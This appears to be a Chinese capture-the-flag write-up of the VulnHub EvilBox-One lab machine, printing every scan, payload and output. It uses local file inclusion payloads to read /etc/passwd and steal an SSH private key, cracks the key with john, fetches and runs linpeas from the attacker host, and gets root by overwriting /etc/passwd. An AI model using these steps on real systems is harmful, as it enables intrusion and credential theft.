坚持自律做最好的自己,每天一台,欢迎大家监督
1-环境搭建
靶机下载地址:
https://download.vulnhub.com/evilbox/EvilBox---One.ova
kali镜像:
kali-linux-2024.2-virtualbox-amd64
虚拟机环境:
Oracle VM VirtualBox 7.0
网络:
kali和靶机都选“仅主机(Host-Only)网络”
先启动kali,再启动靶机,因为上一台靶机分的是105的ip,所以这次是106
kali的IP是192.168.56.101
靶机的IP是192.168.56.106
2-靶机实战
2-1-扫描枚举
端口扫描,命令参考OSCP | 信息收集章节的“6.3 主动信息收集”
sudo nmap -p 1-65535 192.168.56.106
password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 02:27 EDT
Nmap scan report for 192.168.56.106
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
open ssh
open http
MAC Address: 08:00:27:E3:CC:F1 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.41 seconds
发现22、80端口开放,服务枚举,命令参考OSCP | 信息收集章节的“6.3 主动信息收集”
sudo nmap -p22,80 -sT -A 192.168.56.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 02:28 EDT
Nmap scan report for 192.168.56.106
Host is up (0.00050s latency).
PORT STATE SERVICE VERSION
open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
ssh-hostkey:
2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
open http Apache httpd 2.4.38 ((Debian))
Apache2 Debian Default Page: It works :
Apache/2.4.38 (Debian) :
MAC Address: 08:00:27:E3:CC:F1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.56.106
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.81 seconds
22端口为SSH服务,版本是OpenSSH 7.9p1,搜索可利用漏洞无果
80是web服务
目录猜解
gobuster dir -u http://192.168.56.106 -w /usr/share/wordlists/dirb/common.txt -t 5
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//192.168.56.106 ] Url: http:
[ ] Method: GET
[5 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10701]
/robots.txt (Status: 200) [Size: 12]
/secret (Status: 301) [Size: 317] [--> http://192.168.56.106/secret/]
/server-status (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
发现http://192.168.56.106/secret/,继续做进一步猜解
gobuster dir -u http://192.168.56.106/secret -w /usr/share/wordlists/dirb/common.txt -t 5
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//192.168.56.106/secret ] Url: http:
[ ] Method: GET
[5 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 4]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
无果,猜解文件格式,比如php,txt,jsp等
gobuster dir -u http://192.168.56.106/secret -w /usr/share/wordlists/dirb/common.txt -t 5 -x php,txt.jsp
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//192.168.56.106/secret ] Url: http:
[ ] Method: GET
[5 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[3.6 ] User Agent: gobuster/
[ ] Extensions: php,txt.jsp
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.hta.txt.jsp (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.hta.php (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htaccess.txt.jsp (Status: 403) [Size: 279]
/.htpasswd.txt.jsp (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/evil.php (Status: 200) [Size: 0]
/index.html (Status: 200) [Size: 4]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================
发现http://192.168.56.106/secret/evil.php,访问是空页面,猜解参数尝试
gobuster fuzz -u http://192.168.56.106/secret/evil.php?FUZZ=../../../../../etc/passwd -w /usr/share/wordlists/dirb/common.txt -t 5 | grep -v "Length=0"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//192.168.56.106/secret/evil.php?FUZZ=../../../../../etc/passwd ] Url: http:
[ ] Method: GET
[5 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=1398] [Word=command] http://192.168.56.106/secret/evil.php?command=../../../../../etc/passwd
Found: [Status=400] [Length=301] [Word=Documents and Settings] http://192.168.56.106/secret/evil.php?Documents and Settings=../../../../../etc/passwd
Found: [Status=400] [Length=301] [Word=Program Files] http://192.168.56.106/secret/evil.php?Program Files=../../../../../etc/passwd
Found: [Status=400] [Length=301] [Word=reports list] http://192.168.56.106/secret/evil.php?reports list=../../../../../etc/passwd
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
尝试了参数值为空,没有结果,尝试参数值为../../../../../etc/paswd,进行参数猜解,获得参数command,猜测可以进行文件包含
curl http://192.168.56.106/secret/evil.php?command=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
2-2-漏洞利用
尝试读取evil.php文件
curl http://192.168.56.106/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 92 100 92 0 0 3621 0 --:--:-- --:--:-- --:--:-- 3680
$filename = $_GET['command'];
include($filename);
可以读取evil.php文件,但是没有权限读取/var/log/apache2/access.log,因为cookies没有产生session,所以没有/var/lib/php/sessions/sess_xxxxxxxxxxxx,所以不能写入后包含
在passwd文件中发现用户mowree,猜测ssh秘钥id_rsa
curl http://192.168.56.106/secret/evil.php?command=../../../../../../../../home/mowree/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+i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
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----
更改权限,破解证书密码,使用证书ssh登录
chmod 600 id_rsa
ssh2john ./id_rsa > hash.txt
john --wordlist=./rockyou.txt hash.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (./id_rsa)
1g 0:00:00:00 DONE (2024-07-17 03:13) 50.00g/s 62400p/s 62400c/s 62400C/s pedro..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh [email protected] -i id_rsa
获得shell
mowree@EvilBoxOne:~$ ls
user.txt
mowree@EvilBoxOne:~$ cat user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
3-权限提升
3-1-提权枚举
上传linpeas.sh运行,,命令参考“OSCP | Linux提权”章节的“17.1.3 自动枚举”
cd /tmp
wget http://192.168.56.101/linpeas.sh
chmod +x ./linpeas.sh
./linpeas.sh
提示信息
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/etc/passwd
/home/mowree
...
...
/etc/passwd可写
3-2-提权利用
生成password的hash
openssl passwd -1
Password:
Verifying - Password:
$1$PNn5iJ70$RsHGMW9L3NPvjawqMcG411
修改/etc/passwd
root:$1$PNn5iJ70$RsHGMW9L3NPvjawqMcG411:0:0:root:/root:/bin/bash
也可以本地修改好,然后wget到靶机覆盖passwd,然后使用password来su到root
mowree@EvilBoxOne:/tmp$ wget http://192.168.56.101/passwd.txt -O /etc/passwd
--2024-07-17 10:21:22-- http://192.168.56.101/passwd.txt
Conectando con 192.168.56.101:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1431 (1,4K) [text/plain]
Grabando a: “/etc/passwd”
/etc/passwd 100%[========================================================================================================================================>] 1,40K --.-KB/s en 0s
utime(/etc/passwd): Operación no permitida
2024-07-17 10:21:22 (230 MB/s) - “/etc/passwd” guardado [1431/1431]
mowree@EvilBoxOne:/tmp$ su root
Contraseña:
root@EvilBoxOne:/tmp# id
uid=0(root) gid=0(root) grupos=0(root)
root@EvilBoxOne:/tmp# cat /root/root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM
root@EvilBoxOne:/tmp#
打完收工
打靶方法有很多,大家多尝试多交流
如有好的靶机欢迎后台留言推荐
或者小伙伴有靶机实战笔记也可后台发我分享哈
坚持自律做最好的自己
原文始发于微信公众号(高级红队专家):OSCP实战靶机 | EvilBox-One
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论